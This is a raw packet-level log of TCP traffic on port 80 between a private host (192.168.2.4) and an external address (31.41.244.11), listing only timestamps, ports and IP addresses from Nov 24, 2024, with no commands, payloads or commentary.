Nov 24, 2024 14:24:24.634025097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.634067059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.634135008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.634176970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.634978056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.635020018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.635056019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.635098934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.635958910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.636001110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.636034012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.636075020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.636818886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.636861086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.637039900 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.637083054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.637784004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.637825966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.637886047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.637927055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.638694048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.638736010 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.638813019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.638855934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.639647961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.639693022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.639766932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.639808893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.640587091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.640628099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.640687943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.640729904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.641478062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.641592026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.641637087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.642399073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.642523050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.642565012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.643362045 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.643404961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.643481970 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.643523932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.644269943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.644310951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.644433975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.644475937 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.645185947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.645229101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.645306110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.645349026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.646125078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.646167040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.646238089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.646280050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.647056103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.647097111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.647242069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.647284985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.648009062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.648052931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.648134947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.648183107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.648917913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.648962975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.649008036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.649049997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.649859905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.649900913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.649966955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.650008917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.650784969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.650826931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.650861025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.650901079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.651752949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.651798964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.651874065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.651916027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.652682066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.652724981 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.652759075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.652801991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.653553963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.653599977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.653666973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.653707981 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.654504061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.654546976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.654629946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.654671907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.655455112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.655497074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.655571938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.655615091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.656363964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.656405926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.656476974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.656518936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.657316923 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.657449007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.657507896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.658202887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.658345938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.658397913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.659161091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.659215927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.659241915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.660106897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.660161972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.660193920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.660995960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.661051035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.661123991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.661166906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.662050009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.662066936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.662112951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.662883043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.662996054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.663043022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.663775921 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.663820982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.663865089 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.664736032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.664779902 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.664906025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.665045977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.665631056 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.665730953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.665775061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.666594982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.666820049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.666863918 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.667515039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.667557955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.667620897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.668452024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.668497086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.668567896 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.669049978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.669410944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.672852993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.821912050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.821965933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.822031021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.822098970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.822417974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.822465897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.822494984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.822592020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.823359966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.823451042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.823462963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.823512077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.824249029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.824295998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.824359894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.824409962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.825237036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.825306892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.825344086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.825387955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.826102018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.826186895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.826214075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.826559067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.826982021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.827037096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.827049017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.827085018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.827927113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.827980995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.827992916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.828033924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.828843117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.828896046 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.828962088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.829015970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.829777002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.829828024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.829947948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.829996109 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.830831051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.830879927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.830892086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.830935001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.831624031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.831679106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.831744909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.831792116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.832592964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.832662106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.832688093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.832727909 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.833504915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.833558083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.833596945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.833636999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.834425926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.834470987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.834541082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.834580898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.835359097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.835408926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.835463047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.835509062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.836287975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.836337090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.836401939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.836447954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.837203026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.837265015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.837291002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.837337017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.838177919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.838229895 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.838267088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.838308096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.839092016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.839138031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.839196920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.839248896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.840065956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.840112925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.840192080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.840338945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.840925932 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.840965033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.841047049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.841094017 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.841861963 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.841912985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.841963053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.842008114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.842788935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.842833042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.842864037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.842911005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.843774080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.843820095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.843878031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.843961000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.844650030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.844697952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.844772100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.844815016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.845593929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.845637083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.845704079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.845747948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.846544027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.846587896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.846649885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.846693993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.847507954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.847548008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.847569942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.847606897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.848407030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.848463058 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.848495960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.848536968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.849380016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.849426031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.849457979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.849499941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.850275993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.850321054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.850353956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.850392103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.851186991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.851231098 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.851356030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.851406097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.852122068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.852169037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.852236032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.852278948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.853035927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.853084087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.853255987 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.853298903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.854034901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.854079008 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.854150057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.854190111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.855029106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.855067968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.855357885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.855405092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.856435061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.856476068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.856482983 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.856518030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.857052088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.857079029 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.857090950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.857114077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.857714891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.857758045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.857908964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.857954979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.858614922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.858659029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.858716965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.858764887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.859533072 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.859577894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.859638929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.859680891 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.860513926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.860562086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.860588074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.860630035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.861383915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.861430883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.861490965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.861534119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.862329006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.862371922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.862457037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.862498045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.863248110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.863293886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.863359928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.863408089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.864171982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.864213943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.864293098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.864336014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.865134954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.865179062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.865262032 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.865313053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.866031885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.866074085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.866206884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.866250992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.866981030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.867027998 CET	49778	80	192.168.2.4	31.41.244.11
